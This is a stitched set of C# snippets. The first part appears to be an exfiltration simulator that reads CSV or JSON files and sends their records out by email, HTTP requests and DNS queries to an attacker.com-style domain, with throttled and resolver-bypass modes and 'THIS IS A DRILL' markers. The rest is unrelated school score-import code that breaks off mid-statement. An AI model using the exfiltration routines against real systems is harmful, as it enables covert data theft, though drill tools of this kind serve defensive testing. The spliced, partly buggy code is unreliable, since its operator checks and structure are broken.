public int SendDecrementalEmails(DataRecordCollection data, string destination) { int sent = 0; int current_chunk = data.GetShape().Rows; while (sent < data.GetShape().Rows) { current_chunk /= 2; if (current_chunk == 0) { ++current_chunk; //we need at least one more record if its here and the chunk size is zero } int records_to_send = 0; if (sent + current_chunk >= data.GetShape().Rows) { records_to_send = data.GetShape().Rows - sent; } else { records_to_send = current_chunk; } DataRecordCollection drc = new DataRecordCollection(data.Schema); foreach (DataRecord d in data.GetRecords().Skip(sent).Take(records_to_send)) { drc.AddRecord(d); } SendAllRecords(drc, destination); sent += records_to_send; } return(sent); }
private int FastSend(DataRecordCollection data, string destination) { int sent = 0; HttpClient httpclient = new HttpClient(); String exfilDestination = destination; String finalURL = exfilDestination; List <Task> tasks = new List <Task>(); string[] keys = data.GetSchema(); foreach (object dd in data) //iterate through each record in the records list { if (dd == null) { continue; } DataRecord dr = (DataRecord)dd; Task t = Task.Run(() => { sent += DoWork(dr, keys, finalURL, destination); }); tasks.Add(t); } foreach (Task t in tasks) { t.Wait(); //wait to finsih all requests before we move on. } return(sent); }
/// <summary> /// This will read the information from within records and then urlencode & send to destination_url /// the defaultPath is optional. It will only be taken into consideration if the destionation_url ends in a '/' character. /// this is used to ensure a well formed url, as a uri query should not (but technically can) be sent to a directory.. ie a url ending in '/' /// so basically, if the url ends in a '/' then the value of defaultPath will be appended to it. this should be a file name of some sort. /// if defaultPath ends in a '/' character, then this will force appending the uri query to the end of a directory uri /// As always, "THIS IS A DRILL, THIS IS A DRILL, THIS IS A DRILL" will be appended to the end of the query /// </summary> /// <param name="records">the DataRecordCollection object containing the records to be send</param> /// <param name="destionation_url">the desintation url to send the data too</param> /// <param name="defaultPath">the uri path to query. only used if the default_url ends in a '/' character</param> public int Send(DataRecordCollection data, string destination) { //String URL = host + /+ URLENCODE THE LINE HERE //looks like // http://127.0.0.1/receivedata.php?name=somename&id=27&data=april_28_2020") //format of: [host]:[port]/uri/?[schema1]=[value1].... // Console.WriteLine(responseString); if ((ops & Options.SPEED_MODERATE) != 0) { return(ModerateSend(data, destination)); } else if ((ops | Options.SPEED_FAST) != 0) { return(FastSend(data, destination)); } else if ((ops | Options.SPEED_SLOW) != 0) { return(SlowSend(data, destination)); } else if ((ops | Options.SPEED_PARANOID) != 0) { return(ParanoidSend(data, destination)); } else { return(ModerateSend(data, destination)); } }
public DataRecordCollection GetFileContents(bool b64encode = false) { DataRecordCollection result = null; using (StreamReader file = File.OpenText(path)) using (JsonTextReader reader = new JsonTextReader(file)) { JObject obj1 = (JObject)JToken.ReadFrom(reader); foreach (JObject obj in obj1.Children <JObject>()) { Dictionary <String, String> dictObj = obj1.ToObject <Dictionary <string, string> >(); List <String> schema = dictObj.Keys.Cast <String>().ToList(); List <String> values = dictObj.Values.Cast <String>().ToList(); if (b64encode) { values = Base64Utils.MakeB64(values); } if (result == null) { result = new DataRecordCollection(schema.ToArray(), values.ToArray()); } else { result.AddRecord(values.ToArray()); } } } return(result); }
public DataRecordCollection GetFileContents(bool b64encode) { DataRecordCollection result = null; var csvLines = File.ReadLines(path); List <String> schema = new List <String>(); //---Loop through each line in target file and send POST request to server--- foreach (String line in csvLines) { if (schema.Count() == 0)//if we dont yet have the schema, assume that the first line of the SV file contains the schema header. If it doesnt, well... that sucks { schema = line.Split(delim).ToList(); continue; } string[] values = (b64encode == true) ? Base64Utils.MakeB64(line.Split(delim)):line.Split(delim); if (values.Length > 0) //Ensure that we are returning data, and not the empty final line from the file { if (result == null) { result = new DataRecordCollection(schema.ToArray()); } else { result.AddRecord(values.ToArray()); } } } return(result); }
/// <summary> /// send all records at once /// </summary> /// <param name="data">what to send</param> /// <param name="destination">what email address to send to</param> /// <returns>the number of records sent is returened, ie the row shape of the data</returns> public int SendAllRecords(DataRecordCollection data, string destination) { var fromAddress = new MailAddress(email_from, email_from.Split('@')[0]); var toAddress = new MailAddress(destination, destination.Split('@')[0]); string email_body = this.body + "\n" + data.ToString(); var smtp = new SmtpClient { Host = server, Port = Port, EnableSsl = ssl, DeliveryMethod = SmtpDeliveryMethod.Network, UseDefaultCredentials = false, Credentials = new NetworkCredential(fromAddress.Address, password) }; using (var msg = new MailMessage(fromAddress, toAddress) { Subject = subject_line, Body = email_body }) { smtp.Send(msg); } return(data.GetShape().Rows); }
/// <summary> /// This sends data as a http post request. As a post can be very long, "THIS IS A DRILL, THIS IS A DRILL, THIS IS A DRILL" is appended to the beginnning and end of the post /// </summary> /// <param name="records">the data records to send from </param> public int Send(DataRecordCollection data, string destination) { if ((ops & Options.SPEED_MODERATE) != 0) { return(ModerateSend(data, destination)); } else if ((ops | Options.SPEED_FAST) != 0) { return(FastSend(data, destination)); } else if ((ops | Options.SPEED_SLOW) != 0) { return(SlowSend(data, destination)); } else if ((ops | Options.SPEED_PARANOID) != 0) { return(ParanoidSend(data, destination)); } else { return(ModerateSend(data, destination)); } }
public int SendAllRecords(DataRecordCollection data, string destination) { string sending_body = email_body; sending_body += Environment.NewLine; sending_body += data.ToString(); SendMailItem(destination, sending_body); return(data.GetShape().Rows); }
public int Send(DataRecordCollection data, string destination) { int sent = 0; foreach (DataRecord d in data.GetRecords()) { string sending_body = email_body + d.ToString(); SendMailItem(destination, sending_body); sent++; } return(sent); }
private int HandleEmailSender(DataRecordCollection data, Options opts) { if ((opts & Options.EMAIL_DECREMENTAL_MODE) != 0) { return(email_sender.SendDecrementalEmails(data, exfilDestination)); } else if ((opts & Options.EMAIL_ONE_SHOT_MODE) != 0) { return(email_sender.SendAllRecords(data, exfilDestination)); } else { return(email_sender.Send(data, exfilDestination)); } }
private int HandleGenericSender(DataRecordCollection data, Options opts) { if (sendMethod == SupportedSenderMethods.DNS) { if ((opts & Options.DNS_BYPASS_HOST_RESOlVERS) != 0) { return(sender.Send(data, exfilDestination)); } else { return(sender.Send(data, null)); } } else if (sendMethod == SupportedSenderMethods.GET || sendMethod == SupportedSenderMethods.POST) { return(sender.Send(data, exfilDestination)); } return(0); }
public int SendExfilData(Options opts) { if ((opts & Options.HTTP_USE_SSL) != 0) { throw new NotImplementedException(); //not implemented yet } DataRecordCollection data = null; try { if ((opts & Options.DATA_ENCODE_TO_B64) != 0) { data = reader.GetFileContents(true); //do we b64 encode the data? } else { data = reader.GetFileContents(); } } catch (Exception e) { Console.WriteLine(e.Message); throw new InvalidDataException("The file reader failed to fetch file contents"); } if (data == null) { throw new InvalidOperationException(); } if (data.GetShape().Rows > 0) //make sure we have work to do { if (email_sender != null) //see if we are sending via email { return(HandleEmailSender(data, opts)); } else if (sender != null) //see if we are sending via non email { return(HandleGenericSender(data, opts)); } } return(0); }
private int ModerateSend(DataRecordCollection data, string destination) { int sent = 0; HttpClient httpclient = new HttpClient(); String exfilDestination = destination; String finalURL = exfilDestination; List <Task> tasks = new List <Task>(); string[] keys = data.GetSchema(); foreach (object dd in data) //iterate through each record in the records list { if (dd == null) { continue; } DataRecord dr = (DataRecord)dd; sent += DoWork(dr, keys, finalURL, destination); } return(sent); }
/// <summary> ///this will perform a sequence of DNS querys, which are roughly equivalent to doing the following: /// /// GetHostEntry("ThisIsADrill.ThisIsADrill.ThisIsADrill.attacker.com") /// GetHostEntry("[val1].[key1].[rec1].attacker.com") /// GetHostEntry("[val2].[key2].[rec2].attacker.com") /// GetHostEntry("[val3].[key3].[rec3].attacker.com") /// GetHostEntry("[val-n].[key-n].[rec-n].attacker.com") /// GetHostEntry("ThisIsADrill.ThisIsADrill.ThisIsADrill.attacker.com") /// /// where 'n' is the number of key value pairs in a record. /// It will repeat this pattern for every piece of exfiltrated data. /// -- /// for eaxmple: /// a DataRecordCollection object with a Shape of 100,5 (that means 100 records, and schema lenght of 5) /// will make a total of 100x5+2=502 dns queryies to the target. /// /// So. in general, it will send a total number of DNS requests equal to: /// records.Shape.Rows x records.Shape.Columns + 2 /// /// /// It will not wait nor care about the response. /// </summary> /// <param name="records">the DataRecordCollection object to exfiltrate</param> /// <param name="target_domain">DNS domain to target. If default, the query will be sent to 'localhost.local'</param> /// /// <param name="base64encode">base 64 encode the values. default is false</param> public int Send(DataRecordCollection data, string custom_name_resolver) { IPAddress t; custom_name_resolver = (!IPAddress.TryParse(custom_name_resolver, out t)) //check if we have been supplied an ip. if so, continue, if not then translate the host name to an ip ? DnsUtils.GetIPFromName(custom_name_resolver) : custom_name_resolver; int items_sent = 0; bool async_mode = ((ops & Options.ASYNCHRONOUS_MODE) != 0); string query; string[] keys = data.GetSchema(); foreach (object o in data.GetRecords()) //iterate through each record in the records list { if (o == null) { continue; } DataRecord dr = (DataRecord)o; string[] vals = dr.Data; query = "ThisIsADrill.ThisIsADrill.ThisIsADrill." + host_suffix; DnsUtils.SendDnsQuery(query, custom_name_resolver, async_mode); items_sent++; for (int i = 0; i < keys.Length; i++) { String key = keys[i]; String val = vals[i]; String recNumber = "rec" + RecordsSent.ToString(); String[] labels = new String[] { val, key, recNumber, SAFETY_WORD + host_suffix }; labels = DnsUtils.MakeLabelsDNSCompliant(labels); query = String.Join(".", labels.ToList()); DnsUtils.SendDnsQuery(query, custom_name_resolver, async_mode); items_sent++; } DnsUtils.SendDnsQuery("ThisIsADrill.ThisIsADrill.ThisIsADrill" + host_suffix, custom_name_resolver, async_mode); items_sent++; } return(items_sent); }
private int SlowSend(DataRecordCollection data, string destination) { int sent = 0; HttpClient httpclient = new HttpClient(); String exfilDestination = destination; String finalURL = exfilDestination; List <Task> tasks = new List <Task>(); string[] keys = data.GetSchema(); foreach (object dd in data) //iterate through each record in the records list { if (dd == null) { continue; } DataRecord dr = (DataRecord)dd; sent += DoWork(dr, keys, destination); Console.WriteLine("Sent. Sleeping 5 seconds"); Thread.Sleep(5000); } return(sent); }
public int Send(DataRecordCollection data, string destination) { int sent = 0; foreach (DataRecord d in data.GetRecords()) { if (d == null) { continue; } var fromAddress = new MailAddress(email_from, email_from.Split('@')[0]); var toAddress = new MailAddress(destination, destination.Split('@')[0]); string email_body = d.ToString(); var smtp = new SmtpClient { Host = server, Port = Port, EnableSsl = ssl, DeliveryMethod = SmtpDeliveryMethod.Network, UseDefaultCredentials = false, Credentials = new NetworkCredential(fromAddress.Address, password) }; using (var msg = new MailMessage(fromAddress, toAddress) { Subject = subject_line, Body = this.body + "\n" + email_body }) { smtp.Send(msg); ++sent; } } return(sent); }
public ImportStartupForm() { InitializeComponent(); InitializeSemesters(); //_effortMapper = new EffortMapper(); // 載入預設儲存值 LoadConfigData(); _worker = new BackgroundWorker(); _worker.WorkerReportsProgress = true; _worker.ProgressChanged += delegate(object sender, ProgressChangedEventArgs e) { lblMessage.Text = "" + e.UserState; }; _worker.DoWork += delegate(object sender, DoWorkEventArgs e) { #region Worker DoWork _worker.ReportProgress(0, "訊息:檢查讀卡文字格式…"); #region 檢查文字檔 ValidateTextFiles vtf = new ValidateTextFiles(StudentNumberMax); ValidateTextResult vtResult = vtf.CheckFormat(_files); if (vtResult.Error) { e.Result = vtResult; return; } #endregion //文字檔轉 RawData RawDataCollection rdCollection = new RawDataCollection(); rdCollection.ConvertFromFiles(_files); //RawData 轉 DataRecord DataRecordCollection drCollection = new DataRecordCollection(); drCollection.ConvertFromRawData(rdCollection); _rawDataValidator = new DataValidator <RawData>(); _dataRecordValidator = new DataValidator <DataRecord>(); #region 取得驗證需要的資料 SHCourse.RemoveAll(); _worker.ReportProgress(5, "訊息:取得學生資料…"); List <StudentObj> studentList = GetInSchoolStudents(); List <string> s_ids = new List <string>(); Dictionary <string, List <string> > studentNumberToStudentIDs = new Dictionary <string, List <string> >(); foreach (StudentObj student in studentList) { string sn = student.StudentNumber;// SCValidatorCreator.GetStudentNumberFormat(student.StudentNumber); if (!studentNumberToStudentIDs.ContainsKey(sn)) { studentNumberToStudentIDs.Add(sn, new List <string>()); } studentNumberToStudentIDs[sn].Add(student.StudentID); } foreach (string each in studentNumberToStudentIDs.Keys) { if (studentNumberToStudentIDs[each].Count > 1) { //學號重覆 } } foreach (var dr in drCollection) { if (studentNumberToStudentIDs.ContainsKey(dr.StudentNumber)) { s_ids.AddRange(studentNumberToStudentIDs[dr.StudentNumber]); } } studentList.Clear(); _worker.ReportProgress(10, "訊息:取得課程資料…"); List <SHCourseRecord> courseList = SHCourse.SelectBySchoolYearAndSemester(SchoolYear, Semester); List <SHAEIncludeRecord> aeList = SHAEInclude.SelectAll(); //List<JHSCAttendRecord> scaList = JHSCAttend.SelectAll(); var c_ids = from course in courseList select course.ID; _worker.ReportProgress(15, "訊息:取得修課資料…"); //List<JHSCAttendRecord> scaList2 = JHSCAttend.SelectByStudentIDAndCourseID(s_ids, c_ids.ToList<string>()); List <SHSCAttendRecord> scaList = new List <SHSCAttendRecord>(); FunctionSpliter <string, SHSCAttendRecord> spliter = new FunctionSpliter <string, SHSCAttendRecord>(300, 3); spliter.Function = delegate(List <string> part) { return(SHSCAttend.Select(part, c_ids.ToList <string>(), null, SchoolYear.ToString(), Semester.ToString())); }; scaList = spliter.Execute(s_ids); _worker.ReportProgress(20, "訊息:取得試別資料…"); List <SHExamRecord> examList = SHExam.SelectAll(); #endregion #region 註冊驗證 _worker.ReportProgress(30, "訊息:載入驗證規則…"); _rawDataValidator.Register(new SubjectCodeValidator()); _rawDataValidator.Register(new ClassCodeValidator()); _rawDataValidator.Register(new ExamCodeValidator()); SCValidatorCreator scCreator = new SCValidatorCreator(SHStudent.SelectByIDs(s_ids), courseList, scaList); _dataRecordValidator.Register(scCreator.CreateStudentValidator()); _dataRecordValidator.Register(new ExamValidator(examList)); _dataRecordValidator.Register(scCreator.CreateSCAttendValidator()); _dataRecordValidator.Register(new CourseExamValidator(scCreator.StudentCourseInfo, aeList, examList)); #endregion #region 進行驗證 _worker.ReportProgress(45, "訊息:進行驗證中…"); List <string> msgList = new List <string>(); foreach (RawData rawData in rdCollection) { List <string> msgs = _rawDataValidator.Validate(rawData); msgList.AddRange(msgs); } if (msgList.Count > 0) { e.Result = msgList; return; } foreach (DataRecord dataRecord in drCollection) { List <string> msgs = _dataRecordValidator.Validate(dataRecord); msgList.AddRange(msgs); } if (msgList.Count > 0) { e.Result = msgList; return; } #endregion #region 取得學生的評量成績 _worker.ReportProgress(65, "訊息:取得學生評量成績…"); _deleteScoreList.Clear(); _addScoreList.Clear(); AddScoreDic.Clear(); //var student_ids = from student in scCreator.StudentNumberDictionary.Values select student.ID; //List<string> course_ids = scCreator.AttendCourseIDs; var scaIDs = from sca in scaList select sca.ID; Dictionary <string, SHSCETakeRecord> sceList = new Dictionary <string, SHSCETakeRecord>(); FunctionSpliter <string, SHSCETakeRecord> spliterSCE = new FunctionSpliter <string, SHSCETakeRecord>(300, 3); spliterSCE.Function = delegate(List <string> part) { return(SHSCETake.Select(null, null, null, null, part)); }; foreach (SHSCETakeRecord sce in spliterSCE.Execute(scaIDs.ToList())) { string key = GetCombineKey(sce.RefStudentID, sce.RefCourseID, sce.RefExamID); if (!sceList.ContainsKey(key)) { sceList.Add(key, sce); } } Dictionary <string, SHExamRecord> examTable = new Dictionary <string, SHExamRecord>(); Dictionary <string, SHSCAttendRecord> scaTable = new Dictionary <string, SHSCAttendRecord>(); foreach (SHExamRecord exam in examList) { if (!examTable.ContainsKey(exam.Name)) { examTable.Add(exam.Name, exam); } } foreach (SHSCAttendRecord sca in scaList) { string key = GetCombineKey(sca.RefStudentID, sca.RefCourseID); if (!scaTable.ContainsKey(key)) { scaTable.Add(key, sca); } } _worker.ReportProgress(80, "訊息:成績資料建立…"); foreach (DataRecord dr in drCollection) { SHStudentRecord student = student = scCreator.StudentNumberDictionary[dr.StudentNumber]; SHExamRecord exam = examTable[dr.Exam]; List <SHCourseRecord> courses = new List <SHCourseRecord>(); foreach (SHCourseRecord course in scCreator.StudentCourseInfo.GetCourses(dr.StudentNumber)) { if (dr.Subjects.Contains(course.Subject)) { courses.Add(course); } } foreach (SHCourseRecord course in courses) { string key = GetCombineKey(student.ID, course.ID, exam.ID); if (sceList.ContainsKey(key)) { _deleteScoreList.Add(sceList[key]); } SHSCETakeRecord sh = new SHSCETakeRecord(); sh.RefCourseID = course.ID; sh.RefExamID = exam.ID; sh.RefSCAttendID = scaTable[GetCombineKey(student.ID, course.ID)].ID; sh.RefStudentID = student.ID; //轉型Double再轉回decimal,可去掉小數點後的0 double reScore = (double)dr.Score; decimal Score = decimal.Parse(reScore.ToString()); if (Global.StudentDocRemove) { string qq = Score.ToString(); if (qq.Contains(".")) { string[] kk = qq.Split('.'); sh.Score = decimal.Parse(kk[0]); } else { // sh.Score = decimal.Parse(Score.ToString()); } } else { sh.Score = decimal.Parse(Score.ToString()); } //sceNew.Effort = _effortMapper.GetCodeByScore(dr.Score); //是否有重覆的學生,課程,評量 if (!AddScoreDic.ContainsKey(sh.RefStudentID + "_" + course.ID + "_" + exam.ID)) { _addScoreList.Add(sh); AddScoreDic.Add(sh.RefStudentID + "_" + course.ID + "_" + exam.ID, sh); } } } #endregion _worker.ReportProgress(100, "訊息:背景作業完成…"); e.Result = null; #endregion }; _worker.RunWorkerCompleted += delegate(object sender, RunWorkerCompletedEventArgs e) { #region Worker Completed if (e.Error == null && e.Result == null) { if (!_upload.IsBusy) { //如果學生身上已有成績,則提醒使用者 if (_deleteScoreList.Count > 0) { _warn.RunWorkerAsync(); } else { lblMessage.Text = "訊息:成績上傳中…"; FISCA.Presentation.MotherForm.SetStatusBarMessage("成績上傳中…", 0); counter = 0; _upload.RunWorkerAsync(); } } } else { ControlEnable = true; if (e.Error != null) { MsgBox.Show("匯入失敗。" + e.Error.Message); SmartSchool.ErrorReporting.ReportingService.ReportException(e.Error); } else if (e.Result != null && e.Result is ValidateTextResult) { ValidateTextResult result = e.Result as ValidateTextResult; ValidationErrorViewer viewer = new ValidationErrorViewer(); viewer.SetTextFileError(result.LineIndexes, result.ErrorFormatLineIndexes, result.DuplicateLineIndexes); viewer.ShowDialog(); } else if (e.Result != null && e.Result is List <string> ) { ValidationErrorViewer viewer = new ValidationErrorViewer(); viewer.SetErrorLines(e.Result as List <string>); viewer.ShowDialog(); } } #endregion }; _upload = new BackgroundWorker(); _upload.WorkerReportsProgress = true; _upload.ProgressChanged += new ProgressChangedEventHandler(_upload_ProgressChanged); _upload.DoWork += new DoWorkEventHandler(_upload_DoWork); _upload.RunWorkerCompleted += new RunWorkerCompletedEventHandler(_upload_RunWorkerCompleted); _warn = new BackgroundWorker(); _warn.WorkerReportsProgress = true; _warn.DoWork += delegate(object sender, DoWorkEventArgs e) { _warn.ReportProgress(0, "產生警告訊息..."); examDict = new Dictionary <string, string>(); foreach (SHExamRecord exam in SHExam.SelectAll()) { if (!examDict.ContainsKey(exam.ID)) { examDict.Add(exam.ID, exam.Name); } } WarningForm form = new WarningForm(); int count = 0; foreach (SHSCETakeRecord sce in _deleteScoreList) { // 當成績資料是空值跳過 //if (sce.Score.HasValue == false && sce.Effort.HasValue == false && string.IsNullOrEmpty(sce.Text)) //if (sce.Score == null && string.IsNullOrEmpty(sce.Text)) // continue; count++; SHStudentRecord student = SHStudent.SelectByID(sce.RefStudentID); SHCourseRecord course = SHCourse.SelectByID(sce.RefCourseID); string exam = (examDict.ContainsKey(sce.RefExamID) ? examDict[sce.RefExamID] : "<未知的試別>"); string s = ""; if (student.Class != null) { s += student.Class.Name; } if (!string.IsNullOrEmpty("" + student.SeatNo)) { s += " " + student.SeatNo + "號"; } if (!string.IsNullOrEmpty(student.StudentNumber)) { s += " (" + student.StudentNumber + ")"; } s += " " + student.Name; string scoreName = sce.RefStudentID + "_" + sce.RefCourseID + "_" + sce.RefExamID; if (AddScoreDic.ContainsKey(scoreName)) { form.AddMessage(student.ID, s, string.Format("學生在「{0}」課程「{1}」中已有成績「{2}」將修改為「{3}」。", course.Name, exam, sce.Score, AddScoreDic[scoreName].Score)); } else { form.AddMessage(student.ID, s, string.Format("學生在「{0}」課程「{1}」中已有成績「{2}」。", course.Name, exam, sce.Score)); } _warn.ReportProgress((int)(count * 100 / _deleteScoreList.Count), "產生警告訊息..."); } e.Result = form; }; _warn.RunWorkerCompleted += delegate(object sender, RunWorkerCompletedEventArgs e) { WarningForm form = e.Result as WarningForm; if (form.ShowDialog() == DialogResult.OK) { lblMessage.Text = "訊息:成績上傳中…"; FISCA.Presentation.MotherForm.SetStatusBarMessage("成績上傳中…", 0); counter = 0; _upload.RunWorkerAsync(); } else { this.DialogResult = DialogResult.Cancel; } }; _warn.ProgressChanged += delegate(object sender, ProgressChangedEventArgs e) { FISCA.Presentation.MotherForm.SetStatusBarMessage("" + e.UserState, e.ProgressPercentage); }; _files = new List <FileInfo>(); _addScoreList = new List <SHSCETakeRecord>(); _deleteScoreList = new List <SHSCETakeRecord>(); AddScoreDic = new Dictionary <string, SHSCETakeRecord>(); examDict = new Dictionary <string, string>(); }
public ImportStartupForm() { // 每次開啟,就重新載入 代碼對照 KaoHsiung.ReaderScoreImport_DomainMakeUp.Mapper.ClassCodeMapper.Instance.Reload(); KaoHsiung.ReaderScoreImport_DomainMakeUp.Mapper.ExamCodeMapper.Instance.Reload(); KaoHsiung.ReaderScoreImport_DomainMakeUp.Mapper.DomainCodeMapper.Instance.Reload(); InitializeComponent(); InitializeSemesters(); _effortMapper = new EffortMapper(); // 載入預設儲存值 LoadConfigData(); _worker = new BackgroundWorker(); _worker.WorkerReportsProgress = true; _worker.ProgressChanged += delegate(object sender, ProgressChangedEventArgs e) { lblMessage.Text = "" + e.UserState; }; _worker.DoWork += delegate(object sender, DoWorkEventArgs e) { //將錯誤訊息刪光,以便重新統計 msgList.Clear(); #region Worker DoWork _worker.ReportProgress(0, "檢查讀卡文字格式…"); #region 檢查文字檔 ValidateTextFiles vtf = new ValidateTextFiles(intStudentNumberLenght.Value); ValidateTextResult vtResult = vtf.CheckFormat(_files); if (vtResult.Error) { e.Result = vtResult; return; } #endregion //文字檔轉 RawData RawDataCollection rdCollection = new RawDataCollection(); rdCollection.ConvertFromFiles(_files); //RawData 轉 DataRecord DataRecordCollection drCollection = new DataRecordCollection(); drCollection.ConvertFromRawData(rdCollection); _rawDataValidator = new DataValidator <RawData>(); _dataRecordValidator = new DataValidator <DataRecord>(); #region 取得驗證需要的資料 JHCourse.RemoveAll(); _worker.ReportProgress(0, "取得學生資料…"); List <JHStudentRecord> studentList = GetInSchoolStudents(); List <string> s_ids = new List <string>(); Dictionary <string, string> studentNumberToStudentIDs = new Dictionary <string, string>(); foreach (JHStudentRecord student in studentList) { string sn = SCValidatorCreator.GetStudentNumberFormat(student.StudentNumber); if (!studentNumberToStudentIDs.ContainsKey(sn)) { studentNumberToStudentIDs.Add(sn, student.ID); } } //紀錄現在所有txt 上 的學號,以處理重覆學號學號問題 List <string> s_numbers = new List <string>(); foreach (var dr in drCollection) { if (studentNumberToStudentIDs.ContainsKey(dr.StudentNumber)) { s_ids.Add(studentNumberToStudentIDs[dr.StudentNumber]); } else { //學號不存在系統中,下面的Validator 會進行處理 } //2017/1/8 穎驊註解, 原本的程式碼並沒有驗證學號重覆的問題,且無法在他Validator 的處理邏輯加入,故在此驗證 if (!s_numbers.Contains(dr.StudentNumber)) { s_numbers.Add(dr.StudentNumber); } else { msgList.Add("學號:" + dr.StudentNumber + ",資料重覆,請檢察資料來源txt是否有重覆填寫的學號資料。"); } } studentList.Clear(); _worker.ReportProgress(0, "取得學期領域成績…"); List <JHSemesterScoreRecord> jhssr_list = JHSemesterScore.SelectBySchoolYearAndSemester(s_ids, SchoolYear, Semester); #endregion #region 註冊驗證 _worker.ReportProgress(0, "載入驗證規則…"); _rawDataValidator.Register(new DomainCodeValidator()); _rawDataValidator.Register(new ClassCodeValidator()); _rawDataValidator.Register(new ExamCodeValidator()); SCValidatorCreator scCreator = new SCValidatorCreator(JHStudent.SelectByIDs(s_ids)); _dataRecordValidator.Register(scCreator.CreateStudentValidator()); //_dataRecordValidator.Register(new ExamValidator(examList)); //_dataRecordValidator.Register(scCreator.CreateSCAttendValidator()); //_dataRecordValidator.Register(new CourseExamValidator(scCreator.StudentCourseInfo, aeList, examList)); #endregion #region 進行驗證 _worker.ReportProgress(0, "進行驗證中…"); foreach (RawData rawData in rdCollection) { List <string> msgs = _rawDataValidator.Validate(rawData); msgList.AddRange(msgs); } if (msgList.Count > 0) { e.Result = msgList; return; } foreach (DataRecord dataRecord in drCollection) { List <string> msgs = _dataRecordValidator.Validate(dataRecord); msgList.AddRange(msgs); } if (msgList.Count > 0) { e.Result = msgList; return; } #endregion #region 取得學生的評量成績 _duplicateMakeUpScoreList.Clear(); _updateMakeUpScoreList.Clear(); //Dictionary<string, JHSCETakeRecord> sceList = new Dictionary<string, JHSCETakeRecord>(); //FunctionSpliter<string, JHSCETakeRecord> spliterSCE = new FunctionSpliter<string, JHSCETakeRecord>(300, 3); //spliterSCE.Function = delegate(List<string> part) //{ // return JHSCETake.Select(null, null, null, null, part); //}; //foreach (JHSCETakeRecord sce in spliterSCE.Execute(scaIDs.ToList())) //{ // string key = GetCombineKey(sce.RefStudentID, sce.RefCourseID, sce.RefExamID); // if (!sceList.ContainsKey(key)) // sceList.Add(key, sce); //} //Dictionary<string, JHExamRecord> examTable = new Dictionary<string, JHExamRecord>(); //Dictionary<string, JHSCAttendRecord> scaTable = new Dictionary<string, JHSCAttendRecord>(); //foreach (JHExamRecord exam in examList) // if (!examTable.ContainsKey(exam.Name)) // examTable.Add(exam.Name, exam); //foreach (JHSCAttendRecord sca in scaList) //{ // string key = GetCombineKey(sca.RefStudentID, sca.RefCourseID); // if (!scaTable.ContainsKey(key)) // scaTable.Add(key, sca); //} //2018/1/8 穎驊新增 //填寫補考成績 foreach (DataRecord dr in drCollection) { // 利用學號 將學生的isd 對應出來 string s_id = studentNumberToStudentIDs[dr.StudentNumber]; // 紀錄學生是否有學期成績,如果連學期成績都沒有,本補考成績將會無法匯入(因為不合理) bool haveSemesterRecord = false; foreach (JHSemesterScoreRecord jhssr in jhssr_list) { if (jhssr.RefStudentID == s_id) { haveSemesterRecord = true; if (jhssr.Domains.ContainsKey(dr.Domain)) { // 假如原本已經有補考成績,必須將之加入waring_list,讓使用者決定是否真的要覆蓋 if (jhssr.Domains[dr.Domain].ScoreMakeup != null) { string warning = "學號:" + dr.StudentNumber + "學生,在學年度: " + SchoolYear + ",學期: " + Semester + ",領域: " + dr.Domain + "已有補考成績: " + jhssr.Domains[dr.Domain].ScoreMakeup + ",本次匯入將會將其覆蓋取代。"; _duplicateMakeUpScoreList.Add(jhssr); if (!msg_DuplicatedDict.ContainsKey(s_id)) { msg_DuplicatedDict.Add(s_id, warning); } else { } jhssr.Domains[dr.Domain].ScoreMakeup = dr.Score; _updateMakeUpScoreList.Add(jhssr); } else { jhssr.Domains[dr.Domain].ScoreMakeup = dr.Score; _updateMakeUpScoreList.Add(jhssr); } } else { // 2018/1/8 穎驊註解,針對假如該學生在當學期成績卻沒有其領域成績時,跳出提醒,因為正常情境是領域成績計算出來不及格,才需要補考。 msgList.Add("學號:" + dr.StudentNumber + "學生,在學年度:" + SchoolYear + ",學期:" + Semester + ",並無領域:" + dr.Domain + "成績,請先至學生上確認是否已有結算資料。"); } } } if (!haveSemesterRecord) { msgList.Add("學號:" + dr.StudentNumber + "學生,在學年度:" + SchoolYear + ",學期:" + Semester + ",並無學期成績,請先至學生上確認是否已有結算資料。"); } } if (msgList.Count > 0) { e.Result = msgList; return; } #endregion e.Result = null; #endregion }; _worker.RunWorkerCompleted += delegate(object sender, RunWorkerCompletedEventArgs e) { #region Worker Completed if (e.Error == null && e.Result == null) { if (!_upload.IsBusy) { //如果學生身上已有補考成績,則提醒使用者 if (_duplicateMakeUpScoreList.Count > 0) { _warn.RunWorkerAsync(); } else { lblMessage.Text = "成績上傳中…"; FISCA.Presentation.MotherForm.SetStatusBarMessage("成績上傳中…", 0); counter = 0; _upload.RunWorkerAsync(); } } } else { ControlEnable = true; if (e.Error != null) { MsgBox.Show("匯入失敗。" + e.Error.Message); SmartSchool.ErrorReporting.ReportingService.ReportException(e.Error); } else if (e.Result != null && e.Result is ValidateTextResult) { ValidateTextResult result = e.Result as ValidateTextResult; ValidationErrorViewer viewer = new ValidationErrorViewer(); viewer.SetTextFileError(result.LineIndexes, result.ErrorFormatLineIndexes, result.DuplicateLineIndexes); viewer.ShowDialog(); } else if (e.Result != null && e.Result is List <string> ) { ValidationErrorViewer viewer = new ValidationErrorViewer(); viewer.SetErrorLines(e.Result as List <string>); viewer.ShowDialog(); } } #endregion }; _upload = new BackgroundWorker(); _upload.WorkerReportsProgress = true; _upload.ProgressChanged += new ProgressChangedEventHandler(_upload_ProgressChanged); //_upload.ProgressChanged += delegate(object sender, ProgressChangedEventArgs e) //{ // counter += double.Parse("" + e.ProgressPercentage); // FISCA.Presentation.MotherForm.SetStatusBarMessage("成績上傳中…", (int)(counter * 100f / (double)_addScoreList.Count)); //}; _upload.DoWork += new DoWorkEventHandler(_upload_DoWork); _upload.RunWorkerCompleted += new RunWorkerCompletedEventHandler(_upload_RunWorkerCompleted); _warn = new BackgroundWorker(); _warn.WorkerReportsProgress = true; _warn.DoWork += delegate(object sender, DoWorkEventArgs e) { _warn.ReportProgress(0, "產生警告訊息..."); Dictionary <string, string> examDict = new Dictionary <string, string>(); foreach (JHExamRecord exam in JHExam.SelectAll()) { if (!examDict.ContainsKey(exam.ID)) { examDict.Add(exam.ID, exam.Name); } } WarningForm form = new WarningForm(); int count = 0; foreach (JHSemesterScoreRecord sce in _duplicateMakeUpScoreList) { form.Add(sce.RefStudentID, sce.Student.Name, msg_DuplicatedDict[sce.RefStudentID]); _warn.ReportProgress((int)(count * 100 / _duplicateMakeUpScoreList.Count), "產生警告訊息..."); } e.Result = form; }; _warn.RunWorkerCompleted += delegate(object sender, RunWorkerCompletedEventArgs e) { WarningForm form = e.Result as WarningForm; if 